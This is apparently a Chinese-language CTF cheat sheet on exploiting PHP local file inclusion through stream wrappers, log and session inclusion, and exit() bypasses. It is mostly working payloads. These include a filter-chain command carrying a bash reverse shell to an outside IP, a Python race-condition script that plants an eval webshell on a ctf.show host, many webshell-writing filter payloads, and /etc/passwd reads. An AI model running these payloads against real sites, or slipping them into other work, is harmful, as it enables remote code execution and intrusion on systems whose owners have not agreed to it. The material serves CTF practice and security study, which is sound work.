LFI
1. PHP文件包含相关配置
allow_url_include:允许通过 include 或 require 等函数从 URL 加载 PHP 代码 默认关闭
allow_url_fopen: 允许通过文件处理函数(如 file_get_contents()、fopen())访问 URL 默认开启
python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?> '
python php_filter_chain_generator.py --chain "<?php system(\"bash -c 'bash -i >& /dev/tcp/10.10.14.86/4444 0>&1'\");?>"
2. php伪协议利用
2.1. php://input
条件: allow_url_include=on
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容,从而导致任意代码执行
经常通过file_get_contents()获取php://input内容
利用:
?file=php://input
[POST] <?php phpinfo();?>
2.2. php://filter
条件: 在 allow_url_fopen,allow_url_include 都关闭的情况下可以正常使用
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致 任意文件读取。
filter参数解释
resource=<要过滤的数据流> [必须]。它指定了你要筛选过滤的数据流。(相对路径也可)
read=<读链的筛选列表> [可选]。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> [可选]。可以设定一个或多个过滤器名称,以管道符(|)分隔。
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
过滤器
读取文件源码可以直接用resource读取(常用)
php://filter/convert.base64-encode/resource=flag.php base64编码
php://filter/convert.quoted-printable-encode/resource=flag.php quoted-printable编码
php://filter/string.rot13/resource=flag.php rot13变换
2.3. data协议
条件: allow_url_fopen,allow_url_include同时开启
data协议类似于php://input协议,用于控制输出流,当与包含函数结合时,data://流回被当作php文件执行。从而导致任意代码的执行
利用
可以用于过滤了 php 关键词时
?file=data://,<php phpinfo();
?file=data://text/plain,<?php phpinfo();---恶意代码
?file=data://text/plain;base64,base编码内容(恶意代码的base64编码)
注意:使用data协议,后面php代码不要闭合
案例: web79 data伪协议
2.4. zip协议
zip://可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23
只需要是zip的压缩包即可,后缀名可以任意更改
利用
zip://[压缩包绝对路径]%23[压缩包内文件]
?file=zip://D:\zip.jpg%23phpinfo.txt
2.5. bzip2://协议
条件 allow_url_fopen,allow_url_include 都关闭的情况下可以正常使用
绝对路径和相对路径都可以使用
利用
file.php?file=compress.bzip2://nac.bz2
file.php?file=compress.bzip2://./nac.jpg
file.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
2.6. zlib://协议
条件 allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
利用
file.php?file=compress.zlib://file.gz
file.php?file=compress.zlib://./nac.jpg
file.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
2.7. phar://协议
phar://有点类似zip://同样可以导致 任意代码执行。
区别就是:phar://中相对路径和绝对路径都可以使用
利用
?file=phar://zip.jpg/phpifo.txt
?file=phar://D:\zip.jpg\phpinfo.txt
phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用
nac.php(木马)->压缩->nac.zip->改后缀->nac.jpg->上传->phar://nac.jpg/nac.php
案例 mt_rand()/文件上传/phar协议/文件包含--C1ctf2017 - 简书
2.8. file协议
条件 不受 allow_url_fopen, allow_url_include 的影响
用于访问本地文件系统
file协议可以访问文件的绝对路径,相对路径
file://还经常和curl函数(SSRF)结合在一起
如:?file=file:///etc/passwd 有三条斜杠
2.9. 伪协议总结
3. 日志包含
条件 allow_url_include = on
常见日志保存位置
| apache+Linux日志 | /etc/httpd/logs/access_log /var/log/httpd/access_log |
|---|---|
| nginx 日志 |
用户安装目录logs目录下 如/usr/local/nginx/logs /var/log/nginx/access.log |
| apache+win2003日志 |
D:\xampp\apache\logs\access.log D:\xampp\apache\logs\error.log |
| IIS6.0+win2003默认日志 | C:\WINDOWS\system32\Logfiles |
| IIS7.0+win2003 默认日志 | %SystemDrive%\inetpub\logs\LogFiles |
| apache+linux 默认配置文件 | apache+linux 默认配置文件 |
例题 web80日志包含
4. PHPSESSION包含
参考文章利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户
重要的session相关默认配置
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4.session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
- enabled
开启后php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 - cleanup
开启后,当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要 - prefix 与name
name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;prefix+name将表示为session中的键名 - session.usestrict_mode=off
开启后我们对Cookie中sessionid可控,十分重要
常见利用
条件竞争进行session包含
例题 web82条件竞争
利用条件
- 存在文件包含漏洞
- 知道session文件存放路径
- 具有读取和写入session文件的权限
利用脚本
# 原理 https://www.freebuf.com/vuls/202819.html
import requests
import threading
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
session=requests.session()
sess='yu22x'
url1="http://48faee2d-f20d-48ad-9d79-8e73e09f6958.challenge.ctf.show/"
url2='http://48faee2d-f20d-48ad-9d79-8e73e09f6958.challenge.ctf.show/?file=/tmp/sess_'+sess
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
'1':'system("cat f*");'
}
file={
'file':'abc'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies,verify=False)
def read():
while True:
r = session.post(url2,data=data2,verify=False)
if 'ctfshow{' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
5. 死亡 die() exit() 绕过
参考文章 php死亡exit()绕过 - xiaolong's blog
一般有三种形式
1. file_put_contents($filename,"<?php exit();".$content);
2. file_put_contents($content,"<?php exit();".$content);
3. file_put_contents($filename,$content . "\nxxxxxx");
5.1. 第一种 文件名与内容分别输入
file_put_contents($filename,"<?php exit();".$content);
将我们传入的内容$content与 <?php exit(); 进行拼接,从而导致无法执行我们传入的内容
利用filter过滤器进行编码绕过
原理是利用编码对我们最后的内容("<?php exit(); + $content")进行解码从而使前面的exit();函数被编码掉,无法被正常识别并执行。而我们传入的内容被解码后则还原成正常代码内容
5.1.1. base64编码绕过
filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD9waHAgcGhwaW5mbygpOz8+
base64是以4个字符为一组进行编码的。所以必须是4的倍数,我们只需要在前面添‘a’即可
5.1.2. rot13编码绕过
filename=php://filter/convert.string.rot13/resource=shell.php
content=<?cuc cucvasb();?>
原理同上,但是不需要满足4的倍数, 但如果开启了短标签的话,前面内容就会解析,导致代码错误
5.1.3. 过滤器嵌套绕过
filename=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php
content=?>PD9waHAgcGhwaW5mbygpOz8+
string.strip_tags可以过滤掉html标签和php标签里的内容,然后再进行base64解码
但在php7.3.0以上的环境下会发生段错误,从而导致无法写入,php5则不受影响
5.1.4. 更多编码绕过
这里我使用 UCS-2LE -> UCS-2BE 举例
例题 web117 更多编码绕过die()
注意:因为是交换相邻字符串。这里的一定要是偶数位,不然会报错(奇数最后一个字符会被忽略)
payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[Ta']';)>?
5.2. 第二种 文件名与内容为同一参数
file_put_contents($content,"<?php exit();".$content);
这里文件名与内容为同一参数
5.2.1. rot13编码绕过
content=php://filter/string.rot13|<?cuc cucvasb();?>|/resource=shell.php
如果rot被过滤了的话可以考虑二次编码
<?php
$char = 'r'; #构造r的二次编码
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) {
for ($ascii2 = 0; $ascii2 < 256; $ascii2++) {
$aaa = '%'.$ascii1.'%'.$ascii2;
if(urldecode(urldecode($aaa)) == $char){
echo $char.': '.$aaa;
echo "\n";
}
}
}
?>
5.2.2. 过滤器嵌套绕过
content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php
5.2.3. base64编码
content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php
因为base64在遇到=后就结束了,因此可以先用string.strip_tags来去掉前面php标签里的内容,然后剩下的进行base64解码即可
5.2.4. convert.iconv.*
通过usc-2的编码进行转换;对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)
content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php
5.2.5. utf-8转为utf-7
content=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|aaaaaaPD9waHAgQGV2YWwoJF9QT1NUWzEyMzQ1Njc4OV0pOz8+|/resource=shell.php
=转化为了+AD0-,因此可以结合base64来绕过
<?php @eval($_POST[123456789]);?> base64后为
PD9waHAgQGV2YWwoJF9QT1NUWzEyMzQ1Njc4OV0pOz8+,utf-7后为
PD9waHAgQGV2YWwoJF9QT1NUWzEyMzQ1Njc4OV0pOz8+-
5.3. 第三种情况 后拼接换行
file_put_contents($filename,$ content . "\nxxxxxx");
这种最简单
filename=shell.php
content=<?php phpinfo();?
如果过滤了php及起始结束符号的话,就要考虑写.htaccess
filename=.htaccess
content=php_value auto_prepend_file D:\\phpstudy_pro\\www\\flag.php%0a%23\
